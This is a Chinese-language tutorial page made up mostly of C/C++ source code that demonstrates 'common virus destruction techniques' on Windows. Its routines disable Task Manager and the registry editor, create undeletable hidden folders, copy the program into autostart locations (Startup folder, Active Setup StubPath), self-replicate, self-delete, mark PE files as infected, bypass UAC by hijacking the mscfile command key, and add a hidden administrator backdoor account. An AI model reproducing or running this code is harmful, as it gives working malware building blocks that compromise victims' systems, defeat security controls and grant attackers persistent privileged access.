1. 程式人生 > 實用技巧 >C/C++ 常見病毒破壞手法

C/C++ 常見病毒破壞手法

針對登錄檔惡意修改:

#include <stdio.h>
#include <Windows.h>

// 禁用系統工作管理員
void RegTaskmanagerForbidden()
{
	HKEY hkey;
	DWORD value = 1;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
	RegCloseKey(hkey);
}

// 禁用登錄檔編輯器
void RegEditForbidden()
{
	HKEY hkey;
	DWORD value = 1;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
	RegCloseKey(hkey);
}

// 幹掉桌面桌布
void RegModifyBackroud()
{
	DWORD value = 1;
	HKEY hkey;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
	RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
}

建立不可刪除檔案: 建立不可刪除檔案關鍵在於在子目錄中建立一個\\anti...\\檔案,該檔案在系統中有特殊用途.

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>

// 新增不可刪除檔案
BOOL SetImmunity(char *FilePath,char *FileName)
{
	char file[2048] = { 0 };

	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	BOOL bRet = CreateDirectory(file, NULL);
	if (bRet)
	{
		// 建立無法刪除的資料夾
		strcat(file, "\\anti...\\");
		bRet = CreateDirectory(file, NULL);
		if (bRet)
		{
			// 設定檔案為隱藏屬性
			SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
			return TRUE;
		}
	}
	return FALSE;
}

// 刪除無法刪除檔案
void ClearImmunity(char *FilePath, char *FileName)
{
	char file[2048] = { 0 };

	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);

	strcat(file, "\\anti...\\");
	RemoveDirectory(file);

	ZeroMemory(file, MAX_PATH);
	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	RemoveDirectory(file);
}

int main(int argc, char * argv[])
{
	// 建立 autorun.inf 可免疫自動播放
	char *Fuck[4] = { "你", "好", "世", "界" };
	int FuckLen = sizeof(Fuck) / sizeof(int);

	TCHAR Destop[MAX_PATH];
	SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);	 // 獲取桌面絕對路徑

	for (int x = 0; x < FuckLen; x++)
	{
		SetImmunity("c://", Fuck[x]);
		//ClearImmunity("c://", Fuck[x]);
	}

	system("pause");
	return 0;
}

通過快速啟動項自啟動:

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")

BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
	char szStartupPath[MAX_PATH] = { 0 };
	char szDestFilePath[MAX_PATH] = { 0 };

	// 獲取快速啟動目錄路徑
	SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
	printf("快速啟動路徑: %s\n", szStartupPath);
	// 構造拷貝的目的檔案路徑
	wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
	// 拷貝檔案到快速啟動目錄下
	CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
	return TRUE;
}

int main(int argc, char * argv[])
{
	AutoRun_Startup("c://main.exe", "main.exe");
	system("pause");
	return 0;
}

設定重啟自刪除:

#include <Windows.h>

BOOL RebootDelete(char *pszFileName)
{
	// 重啟刪除檔案
	char szTemp[MAX_PATH] = "\\\\?\\";
	::lstrcat(szTemp, pszFileName);
	BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
	return bRet;
}

int main(int argc, char * argv[])
{
	RebootDelete("C:\\shell.exe")

	system("pause");
	return 0;
}

實現病毒自我繁殖:

#include <stdio.h>
#include <Windows.h>
#include <shlobj.h>
#include <time.h>

void Reproduce()
{
	char name_str[100] = {};
	int name;
	srand((unsigned)time(NULL));   // 隨機數種子
	name = rand() % 102408;
	_itoa(name, name_str, 22);	   // 將隨機數轉化成字串
	
	TCHAR szpath[MAX_PATH];

	char target[100] = {};
	TCHAR Destop[MAX_PATH];

	GetModuleFileName(NULL, szpath, MAX_PATH);	                 // 獲取當前執行程式的路徑
	SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);	 // 獲取桌面絕對路徑

	strcat(target, Destop);
	strcat(target, "\\");
	strcat(target, name_str);
	strcat(target, ".exe");
	CopyFile(szpath, target, FALSE);
}

int main(int argc, char* argv[])
{
	Reproduce();
	system("pause");
	return 0;
}

病毒的自刪除手段:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>

BOOL SelfDel()
{
	SHELLEXECUTEINFO sei;
	TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH];

	if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) &&
		(GetShortPathName(szModule, szModule, MAX_PATH) != 0) &&
		(GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0))
	{
		lstrcpy(szParams, "/c del ");
		lstrcat(szParams, szModule);
		lstrcat(szParams, " > nul");
		// 設定結構成員.
		sei.cbSize = sizeof(sei);
		sei.hwnd = 0;
		sei.lpVerb = "Open";
		sei.lpFile = szComspec;
		sei.lpParameters = szParams;
		sei.lpDirectory = 0; sei.nShow = SW_HIDE;
		sei.fMask = SEE_MASK_NOCLOSEPROCESS;
		// 建立cmd程序.
		if (ShellExecuteEx(&sei))
		{
			// 設定cmd程序的執行級別為空閒執行,使本程式有足夠的時間從記憶體中退出.
			SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS);
			// 將自身程序的優先順序置高
			SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
			SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
			// 通知Windows資源瀏覽器,本程式檔案已經被刪除.
			SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0);
			return TRUE;
		}
	}
	return FALSE;
}

int main(int argc, char* argv[])
{
	SelfDel();
	return 0;
}

設定檔案感染標誌: PE檔案中有很多欄位並沒有使用到,我們可以在內部寫入引數,實現檢查是否被感染.

#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC

// 向指定檔案寫入感染標誌
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
	return TRUE;
}
// 檢查檔案是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwSigNum = 0;
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

	if (dwSigNum == dwSig)
		return TRUE;
	return FALSE;
}

int main(int argc, char* argv[])
{
	HANDLE hFile,hMap = NULL;
	LPVOID lpBase = NULL;

	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = { 0 };

	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		printf("檔案非可執行檔案 \n");
		return -1;
	}
	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	// 寫入感染標誌
	WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

	// 返回真說明感染過
	if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
	{
		printf("檔案已被感染,無法重複感染. \n");
	}

	system("pause");
	return 0;
}

關閉UAC許可權控制:

#include <Windows.h>

BOOL SetReg(char *lpszExePath)
{
	HKEY hKey = NULL;
	// 建立項
	::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (NULL == hKey)
	{
		return FALSE;
	}
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	::RegCloseKey(hKey);
	return TRUE;
}

int main(int argc,char *argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;

	// 關閉檔案重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	// 修改登錄檔
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	printf("已關閉 \n");
	// 恢復檔案重定位
	::Wow64RevertWow64FsRedirection(OldValue);

	system("pause");
	return 0;
}

新增惡意後門賬號:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")

// 新增系統使用者
void AddUser(LPWSTR UserName, LPWSTR Password)
{
	USER_INFO_1 user;
	user.usri1_name = UserName;
	user.usri1_password = Password;
	user.usri1_priv = USER_PRIV_USER;
	user.usri1_home_dir = NULL;
	user.usri1_comment = NULL;
	user.usri1_flags = UF_SCRIPT;
	user.usri1_script_path = NULL;

	//新增名為lysharks的使用者,密碼為sswordQq123 
	if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
		printf("建立使用者完成 \n");

	// 新增使用者到administrators組
	LOCALGROUP_MEMBERS_INFO_3 account;
	account.lgrmi3_domainandname = user.usri1_name;
	if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
		printf("新增到組完成 \n");
}

// 列舉系統使用者
void EnumUser()
{
	LPUSER_INFO_0 pBuf = NULL;
	LPUSER_INFO_0 pTmpBuf;
	DWORD dwLevel = 0;
	DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
	DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
	DWORD i;
	NET_API_STATUS nStatus;
	LPTSTR pszServerName = NULL;

	do
	{
		nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
			(LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);

		if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
		{
			if ((pTmpBuf = pBuf) != NULL)
			{
				for (i = 0; (i < dwEntriesRead); i++)
				{
					assert(pTmpBuf != NULL);

					if (pTmpBuf == NULL)
					{
						break;
					}
					wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
					pTmpBuf++;
				}
			}
		}

		if (pBuf != NULL)
		{
			NetApiBufferFree(pBuf);
			pBuf = NULL;
		}
	} while (nStatus == ERROR_MORE_DATA);
	NetApiBufferFree(pBuf);
}

int main(int argc, char *argv[])
{
	AddUser(L"lyshark", L"123123");
	EnumUser();

	system("pause");
	return 0;
}

ActiveX 實現自啟動:

#include <stdio.h>
#include <windows.h> 

//修改或建立字串型別的鍵值
void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data)
{
	// 建立新的登錄檔鍵
	HKEY hKey;
	long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL, 
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (ERROR_SUCCESS != lRet)
		return;
	//修改或建立登錄檔鍵值
	lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2);
	if (ERROR_SUCCESS != lRet)
		return;
	// 釋放登錄檔鍵控制代碼
	RegCloseKey(hKey);
}

// 建立開機自啟動程序
// 計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components
// 註冊一條類似{84B421CD-B018-2513-B0B1-5C76DEF70F20}的子建,然後子鍵中新建StubPath的值項
void CreateAutoRun()
{
	HKEY hKey;
	DWORD dwDpt = REG_OPENED_EXISTING_KEY;

	// 清理一下
	RegDeleteKey(HKEY_CURRENT_USER, 
		L"Software\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}");

	// 開啟登錄檔鍵值
	long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
		L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}",
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey);
	if (lRet != ERROR_SUCCESS)
	{
		WCHAR SelfFile[MAX_PATH];
		WCHAR SystemPath[MAX_PATH + 20];

		//獲取系統目錄
		GetSystemDirectory(SystemPath, sizeof(SystemPath));

		//在系統目錄與\\activexrun.exe連線
		wcscat_s(SystemPath, L"\\main.exe");

		//獲取當前程序路徑
		GetModuleFileName(NULL, SelfFile, MAX_PATH);

		// main.exe複製到C:\windows\system32目錄下
		CopyFile(SelfFile, SystemPath, FALSE);

		//寫登錄檔
		CreateStringReg(HKEY_LOCAL_MACHINE, 
			L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}",
			L"StubPath", SystemPath);
	}
}

int main(int argc, char *argv[])
{
	CreateAutoRun();
	system("pause");
	return 0;
}